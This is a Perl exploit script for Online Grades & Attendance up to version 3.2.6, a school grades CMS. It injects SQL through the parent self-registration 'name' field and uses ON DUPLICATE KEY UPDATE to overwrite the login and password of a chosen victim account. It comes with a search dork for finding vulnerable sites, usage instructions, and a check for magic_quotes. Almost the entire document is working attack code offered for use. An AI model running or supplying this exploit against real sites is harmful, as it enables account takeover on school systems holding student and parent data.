#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**                                   **
#**                              **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []    []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**                                                    **
#**                                **
#**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
#**            ¡PROUD TO BE SPANISH!                                **
#**                            **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|       (Post Form --> Parent Register (name)) Credentials Changer (SQLi) EXPLOIT        |
#|--------------------------------------------------------------------------------------------|
#|                           |    Online Grades & Attendance v-3.2.6   |          |
#|  CMS INFORMATION:          -----------------------------------------                         |
#|                                  |
#|-->WEB: http://www.onlinegrades.org/                            |
#|-->DOWNLOAD: http://www.onlinegrades.org/                                |
#|-->DEMO: http://www.onlinegrades.org/demo_info                |
#|-->CATEGORY: CMS / Education                      |
#|-->DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same      |
#|    features plus many new features. OG is a web based grade...          |
#|-->RELEASED: 2009-02-05                      |
#|                            |
#|  CMS VULNERABILITY:                        |
#|                            |
#|-->TESTED ON: firefox 3                                  |
#|-->DORK: "Powered by Online Grades"                          |
#|-->CATEGORY: SQL INJECTION                            |
#|-->AFFECT VERSION: <= 3.2.6                       |
#|-->Discovered Bug date: 2009-05-21                    |
#|-->Reported Bug date: 2009-05-21                    |
#|-->Fixed bug date: Not fixed                      |
#|-->Info patch: Not fixed                            |
#|-->Author: YEnH4ckEr                        |
#|-->mail: y3nh4ck3r[at]gmail[dot]com                    |
#|-->WEB/BLOG: N/A                        |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)          |
#----------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#gpc_magic_quotes=OFF
#
#-----------------
#PRE-REQUIREMENTS
#-----------------
#
#Option --> Self Registration --> Allowed (Default value)
#
#-------
#NEED:
#-------
#
#Valid parent id
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#Register module (name) is vuln to sql injection.
#
#Full name --> y3nh4ck3r', id=1 ON DUPLICATE KEY UPDATE client_id='owned'#
#
#Other parameters --> something
#
#
#Return: Change client_id to 'owned' for parent id=1
#
#
##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
  my $SO = $^O;
  my $linux = "";
  if (index(lc($SO),"win")!=-1){
    $linux="0";
  }else{
    $linux="1";
  }    
  if($linux){
    system("clear");
  }
  else{
    system("cls");
    system ("title Online Grades Attendance v-3.2.6 (Credentials changer) Exploit");
    system ("color 02");
  }
}
sub request {
  my $userag = LWP::UserAgent->new;
  $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
  if($_[2] eq "post"){
    $request = HTTP::Request -> new(POST => $_[0]);
    $request->referer($_[0]);
    $request->content_type('application/x-www-form-urlencoded');
    $request->content($_[1]);
  }else{
    $request = HTTP::Request -> new(GET => $_[0]);
  }
  my $outcode= $userag->request($request)->as_string;
  return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
  print "\tWeb isn't vulnerable!\n\n";
  print "\t--->Maybe:\n\n";
  print "\t\t1.-Patched.\n";
  print "\t\t2.-Bad path or host.\n";
  print "\t\tEXPLOIT FAILED!\n";
  print "\t------------------------------------------------------------\n";
}
sub errormagicquotes {
print "\t------------------------------------------------------------\n";
  print "\tWeb isn't vulnerable!\n\n";
  print "\t\tRaison--> Magic quotes ON.\n";
  print "\t\tEXPLOIT FAILED!\n";
  print "\t------------------------------------------------------------\n";
}
sub helper {
  print "\n\t[!!!] Online Grades & Attendance <= v-3.2.6 (Credentials changer) Exploit\n";
  print "\t[!!!] USAGE MODE: [!!!]\n";
  print "\t[!!!] perl $0 [HOST] [PATH] [Email Address] [Password] [Target_id]\n";
  print "\t[!!!] [HOST]: Web.\n";
  print "\t[!!!] [PATH]: Home Path.\n";
  print "\t[!!!] [Email Address]: Set value\n";
  print "\t[!!!] [Password]: Set value\n";
  print "\t[!!!] [Target_id]: victim id\n";
  print "\t[!!!] Example: perl $0 'www.onlinegrades.org' 'demo' 'y3nh4ck3r' 'y3nh4ck3r' '1' \n";
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##        Online Grades & Attendance <= v-3.2.6      ##\n\n";
print "\t##           (Credentials changer) Exploit           ##\n\n"; 
print "\t##         ++Conditions: magic_quotes=OFF            ##\n\n";
print "\t##         ++Needed: Valid parent id                 ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $client_id=$ARGV[2];
my $client_pw=$ARGV[3];
$numArgs = $#ARGV + 1;
if($numArgs<=3) 
  {
    &helper;
    exit(1);  
  }  
  if(!$ARGV[4]){
    $target_id=1;
  }else{
    $target_id=$ARGV[4];  
  }

#Build uri
my $finalhost="http://".$host."/".$path."/parents/register.php?action=register";
my $phpinfo="http://".$host."/".$path."/include/phpinfo.php";
#sql injection  
$injection="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_id='".$values."'#";
$post="name=".$injection."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&pass2=y3nh4ck3r";
$output=&request($phpinfo,0,'get');
if($output=~(/\<tr\>\<td class\=\"e\">magic\_quotes\_gpc\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<\/tr\>/)){
  &errormagicquotes;
  exit(1);
}
$injection_email="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_id='".$client_id."'#";
$post="name=".$injection_email."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&pass2=y3nh4ck3r";
$output=&request($finalhost, $post, 'post');
$injection_pw="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_pw='".$client_pw."'#";
$post="name=".$injection_pw."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&pass2=y3nh4ck3r";
$output=&request($finalhost, $post, 'post');
#processed
if($output!~(/\<strong\>ERROR\<\/strong\>/))
{  
    print "\n\t-----------------------------------------------------------------\n";
    print "\t--  EXPLOIT EXECUTED (Online Grades & Attendance <= v-3.2.6)   --\n";
    print "\t--                  (Credentials changer) Exploit              --\n";
    print "\t-----------------------------------------------------------------\n\n";
    print "\t\tParent credentials changed!\n\n";
    print "\t\tIf id doesn't exist, you add a new inconsistent user!\n\n";
    print "\n\t<<<<<<----------------------FINISH!---------------->>>>>>>>\n\n";
    print "\t<<<<<<--------------Thanks to: y3hn4ck3r------------>>>>>>>\n\n";
    print "\t<<<<<<-----------------------EOF-------------------->>>>>>>\n\n";
}else{
  &error;
}
exit(1);
#Ok...all job done